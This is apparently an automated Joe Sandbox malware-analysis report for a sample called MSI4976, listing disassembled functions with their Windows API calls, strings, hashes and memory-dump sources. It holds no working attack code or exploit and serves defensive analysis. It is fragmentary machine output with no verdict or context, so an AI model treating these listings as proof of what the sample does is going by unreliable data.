Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 4415e344a5dbe1111398121f14ea552efed500f832a03b613fcd3300be488c41
Instruction ID: c5a7ca547898223f8e75eb5301ff283ab229867ae98e66491f474d233cb29b68
Opcode Fuzzy Hash: 4415e344a5dbe1111398121f14ea552efed500f832a03b613fcd3300be488c41
Instruction Fuzzy Hash: 3A218335600204AFDB169BB9CC88DBE77ECEF0E360B45C525F915DB6A4DA74EC418B60

Function 0035E9B5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0035E9CD
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0035E9EA
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 0035EA22
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 0035EA48
_wcsstr.LIBCMT ref: 0035EA52

Strings

@U=u, xrefs: 0035E9EA, 0035EA22

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID: @U=u
API String ID: 3902887630-2594219639
Opcode ID: ad1b359b18a3f94ba969e010b38f9ad72d3491faf00e8789722bc4677fd109fc
Instruction ID: 8057d9976e2fce8b2df38c624f22cceb1810c1e606c7e586f83611dab0243a64
Opcode Fuzzy Hash: ad1b359b18a3f94ba969e010b38f9ad72d3491faf00e8789722bc4677fd109fc
Instruction Fuzzy Hash: 6A2107722042107AEB1B9B399C45E7BBBECDF45750F118029FC09CE0A1DA74DD409250

Function 0035CA6D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0035CA86

Part of subcall function 00327E53: _memmove.LIBCMT ref: 00327EB9

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 0035CAB8
__itow.LIBCMT ref: 0035CAD0
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 0035CAF6
__itow.LIBCMT ref: 0035CB07

Strings

@U=u, xrefs: 0035CA86, 0035CAB8, 0035CAF6

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID: @U=u
API String ID: 2983881199-2594219639
Opcode ID: 557b2a18e99296152a609034f116657591ec5062719e4a4e68a983175beeed7f
Instruction ID: 252fbf15a7890c626a87edf04af62afccb9dab271aa9bca079c145f75a96cf9e
Opcode Fuzzy Hash: 557b2a18e99296152a609034f116657591ec5062719e4a4e68a983175beeed7f
Instruction Fuzzy Hash: 9021D4726003147FDB23EA649C46EDE7AA9AF4AB55F011025FD05EB1A1D6B08D4983A0

Function 0038A0D6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0033C619: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0033C657
Part of subcall function 0033C619: GetStockObject.GDI32(00000011), ref: 0033C66B
Part of subcall function 0033C619: SendMessageW.USER32(00000000,00000030,00000000), ref: 0033C675

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 0038A13B
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0038A148
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0038A153
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 0038A162
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 0038A16E

Strings

Msctls_Progress32, xrefs: 0038A10C

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 388d40fd8f4b78e7d139dbeb2c0680b7b35a1a146eeb19d28fb96fcb1ae5c42c
Instruction ID: 239ac2f850d8129ebf6f05bc76880eac7cec753f9962f95af0d2d10563f91b28
Opcode Fuzzy Hash: 388d40fd8f4b78e7d139dbeb2c0680b7b35a1a146eeb19d28fb96fcb1ae5c42c
Instruction Fuzzy Hash: 971182B2150219BFFF169F65CC86EE77F5DEF08798F014215FA48A6090C6769C21DBA0

Function 00344C3D Relevance: 10.5, APIs: 7, Instructions: 47threadCOMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 00344C3E

Part of subcall function 003486B5: GetLastError.KERNEL32(?,00340127,003488A3,00344673,?,?,00340127,?,0032125D,00000058,?,?), ref: 003486B7
Part of subcall function 003486B5: __calloc_crt.LIBCMT ref: 003486D8
Part of subcall function 003486B5: GetCurrentThreadId.KERNEL32 ref: 00348701
Part of subcall function 003486B5: SetLastError.KERNEL32(00000000,00340127,003488A3,00344673,?,?,00340127,?,0032125D,00000058,?,?), ref: 00348719

CloseHandle.KERNEL32(?,?,00344C1D), ref: 00344C52
__freeptd.LIBCMT ref: 00344C59
RtlExitUserThread.NTDLL(00000000,?,00344C1D), ref: 00344C61
GetLastError.KERNEL32(?,?,00344C1D), ref: 00344C91
RtlExitUserThread.NTDLL(00000000,?,?,00344C1D), ref: 00344C98
__freefls@4.LIBCMT ref: 00344CB4

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ErrorLastThread$ExitUser$CloseCurrentHandle__calloc_crt__freefls@4__freeptd__getptd_noexit
String ID:
API String ID: 1445074172-0
Opcode ID: 75977dabdcc1496fa9a388acf8ae3103667c7db7a2e17650e82972c55bccbe3b
Instruction ID: 2d1297bf8501560dfe4624eb1b2f196146097c8173c93f75660a91bccef0450e
Opcode Fuzzy Hash: 75977dabdcc1496fa9a388acf8ae3103667c7db7a2e17650e82972c55bccbe3b
Instruction Fuzzy Hash: 9801D474401701AFC71BBB74D949A0D77E9EF05315B158528F509CF692EF34FC428A51

Function 0038E13E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0038E14D
_memset.LIBCMT ref: 0038E15C
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,003E3EE0,003E3F24), ref: 0038E18B
CloseHandle.KERNEL32 ref: 0038E19D

Strings

>>, xrefs: 0038E147
$?>, xrefs: 0038E156

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID: $?>$>>
API String ID: 3277943733-2737797800
Opcode ID: 44e03ca35c964d74235942858796a7951d1f1fc37b60989c08cc3f034a2e8130
Instruction ID: 273c663f53aac20f9500cdffbfbe50a98400e4e98261fcfac634a7045ab99336
Opcode Fuzzy Hash: 44e03ca35c964d74235942858796a7951d1f1fc37b60989c08cc3f034a2e8130
Instruction Fuzzy Hash: DDF054F2940350BEE6125766AC49FB77AACDB09354F000521FA04DE1D2D3B65E1187A4

Function 0033C697 Relevance: 9.3, APIs: 6, Instructions: 253COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 0033C6C0
GetWindowRect.USER32(?,?), ref: 0033C701
ScreenToClient.USER32(?,000000FF), ref: 0033C729
GetClientRect.USER32(?,?), ref: 0033C856
GetWindowRect.USER32(?,?), ref: 0033C86F

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: ed6f2dc538b2aa623f26f451c45b0b656f7413f01164a96f10511403cec99bdb
Instruction ID: a3d4e64f899fe3711c7ade9b2ed4922a629e367225c4c4b76effc14a7efec640
Opcode Fuzzy Hash: ed6f2dc538b2aa623f26f451c45b0b656f7413f01164a96f10511403cec99bdb
Instruction Fuzzy Hash: 87B12779910249DBDF11CFA8C5807EDB7B5FF08310F15A52AEC5AEB654EB30AA40CB64

Function 00369569 Relevance: 9.2, APIs: 6, Instructions: 204COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 003696BC
_memmove.LIBCMT ref: 003695F7

Part of subcall function 003284A6: __swprintf.LIBCMT ref: 003284E5
Part of subcall function 003284A6: __itow.LIBCMT ref: 00328519

_memmove.LIBCMT ref: 0036966A
_memmove.LIBCMT ref: 00369751
_memmove.LIBCMT ref: 0036976A
_memmove.LIBCMT ref: 00369786

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 3cd69ee615229ba2ecfd3414ae9f88e9e9d68840e897ffa2ecb1c29f758a9b95
Instruction ID: 6bbf3797981e43259045f7f56dbdbf5fdc35f4b2727e3456dcde3c0fcfa5e897
Opcode Fuzzy Hash: 3cd69ee615229ba2ecfd3414ae9f88e9e9d68840e897ffa2ecb1c29f758a9b95
Instruction Fuzzy Hash: 9B61AC3051025A9BCF07EF60CC82EFE37A8AF05314F44855AF95A6F296EB34A905CB50

Function 00382EC7 Relevance: 9.2, APIs: 6, Instructions: 160registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0032CAEE: _memmove.LIBCMT ref: 0032CB2F

Part of subcall function 00383AF7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00382AA6,?,?), ref: 00383B0E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00382FA0
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00382FE0
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00383003
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 0038302C
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0038306F
RegCloseKey.ADVAPI32(00000000), ref: 0038307C

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 5e444229d1da60776b71bd43a4bfaf5c141012b37f23088f07c424b439f6ac8d
Instruction ID: 093e73adb7be0afd7dff171fe0beaf778bc36a88c38f1f2cfc5be8845fed0cec
Opcode Fuzzy Hash: 5e444229d1da60776b71bd43a4bfaf5c141012b37f23088f07c424b439f6ac8d
Instruction Fuzzy Hash: 6D514A71118310AFC706EF64D885E6FB7E8BF89704F04495DF6868B2A1DB71EA05CB52

Function 0033DB8C Relevance: 9.2, APIs: 6, Instructions: 160COMMON

Download Yara Rule

APIs

_wcscpy.LIBCMT ref: 0033DCC0
_wcscat.LIBCMT ref: 0033DCC7
_wcscpy.LIBCMT ref: 00393CCB

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _wcscpy$_wcscat
String ID:
API String ID: 2037614760-0
Opcode ID: f1f98a6ec25caa01f90f5d415b32dc8c6c5e2b15692a0a50f5ac00c05728c96b
Instruction ID: 6996db40843dfbc72454f35b21605783cba26b4aca11d28bd110eb5f812ef183
Opcode Fuzzy Hash: f1f98a6ec25caa01f90f5d415b32dc8c6c5e2b15692a0a50f5ac00c05728c96b
Instruction Fuzzy Hash: F1510F70914625AACF13AF98E4C19BDB3B4FF04711F51904AF581AB292DBB45F82DB90

Function 00362ADC Relevance: 9.2, APIs: 6, Instructions: 158COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00362AF6
VariantClear.OLEAUT32(00000013), ref: 00362B68
VariantClear.OLEAUT32(00000000), ref: 00362BC3
_memmove.LIBCMT ref: 00362BED
VariantClear.OLEAUT32(?), ref: 00362C3A
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00362C68

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 450d1e194a520cee3f751fd59754d6334d237b9e67181f04b1995e0a3ab8b6d1
Instruction ID: ee302b908c615c57f78a72149e5175bf4468df04d64937b1141d422d461131f4
Opcode Fuzzy Hash: 450d1e194a520cee3f751fd59754d6334d237b9e67181f04b1995e0a3ab8b6d1
Instruction Fuzzy Hash: FB5166B5A00609EFCB15CF58C880AAAB7B8FF4C314B168559E959DB314E730E951CFA0

Function 003882DB Relevance: 9.2, APIs: 6, Instructions: 152windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 0038833D
GetMenuItemCount.USER32(00000000), ref: 00388374
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 0038839C
GetMenuItemID.USER32(?,?), ref: 0038840B
GetSubMenu.USER32(?,?), ref: 00388419
PostMessageW.USER32(?,00000111,?,00000000), ref: 0038846A

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 2a40bdfff85382287669aacd5e92677a04f9680dece1231a4cbb176931d217af
Instruction ID: 475a78a9adaa2d11864893ab56fb36c4e78ca8b0c6f90a7cbc09798948775fad
Opcode Fuzzy Hash: 2a40bdfff85382287669aacd5e92677a04f9680dece1231a4cbb176931d217af
Instruction Fuzzy Hash: 5E51A136E00215EFCB02EF65C941AAEB7F4EF49710F518499F811BB351DB70AE418B90

Function 0037936F Relevance: 9.1, APIs: 6, Instructions: 136networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,00000001,00000000,00000000,?), ref: 00379409
WSAGetLastError.WS2_32(00000000), ref: 00379416
__WSAFDIsSet.WS2_32(00000000,00000001), ref: 0037943A
_strlen.LIBCMT ref: 00379484
_memmove.LIBCMT ref: 003794CA
WSAGetLastError.WS2_32(00000000), ref: 003794F7

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ErrorLast$_memmove_strlenselect
String ID:
API String ID: 2795762555-0
Opcode ID: f426b8014650a439ad2f454292a46b08e33785f2ca04ac91127d7d6a2a8b69d7
Instruction ID: 6c773632492db2be2a629b925184fbef587a753a4e0966950f120f464b2b8221
Opcode Fuzzy Hash: f426b8014650a439ad2f454292a46b08e33785f2ca04ac91127d7d6a2a8b69d7
Instruction Fuzzy Hash: E9416075600114AFCB16EF65DD85FAEB7BDEF48310F10826AF51A9B291DB34AE01CB60

Function 003654E0 Relevance: 9.1, APIs: 6, Instructions: 136windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0036552E
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00365579
IsMenu.USER32(00000000), ref: 00365599
CreatePopupMenu.USER32 ref: 003655CD
GetMenuItemCount.USER32(000000FF), ref: 0036562B
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 0036565C

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: c73f7884c7edee673282b206676d4bf5f12677f4d033943b555cd995d5e5cb76
Instruction ID: 6e7e510ce14469123d9c35a85bbfdd4da3234adbda4bb1a47656eb5d899c1a89
Opcode Fuzzy Hash: c73f7884c7edee673282b206676d4bf5f12677f4d033943b555cd995d5e5cb76
Instruction Fuzzy Hash: 1A51D470600A45EFDF22CF68C88CBADBBF9AF56318F54C139E4569B298D3B09944CB51

Function 0033B18C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 0033AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0033AF8E

BeginPaint.USER32(?,?,?,?,?,?), ref: 0033B1C1
GetWindowRect.USER32(?,?), ref: 0033B225
ScreenToClient.USER32(?,?), ref: 0033B242
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 0033B253
EndPaint.USER32(?,?), ref: 0033B29D

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 6774374b97715a46316310c26bfb59fca1e213b9a60241511e80f8762d9c5cf7
Instruction ID: f0801d9ebb9e8dadfdd23a72483cd0b3602a641b530950a053f281a8602e3da7
Opcode Fuzzy Hash: 6774374b97715a46316310c26bfb59fca1e213b9a60241511e80f8762d9c5cf7
Instruction Fuzzy Hash: E2417E715042409FDB22DF24DCC4BBABBECEB46320F140669FAA5CB2A1C7319845DB62

Function 0038E9C8 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 0033B58B: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 0033B5EB
Part of subcall function 0033B58B: SelectObject.GDI32(?,00000000), ref: 0033B5FA
Part of subcall function 0033B58B: BeginPath.GDI32(?), ref: 0033B611
Part of subcall function 0033B58B: SelectObject.GDI32(?,00000000), ref: 0033B63B

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 0038E9F2
LineTo.GDI32(00000000,00000003,?), ref: 0038EA06
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0038EA14
LineTo.GDI32(00000000,00000000,?), ref: 0038EA24
EndPath.GDI32(00000000), ref: 0038EA34
StrokePath.GDI32(00000000), ref: 0038EA44

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

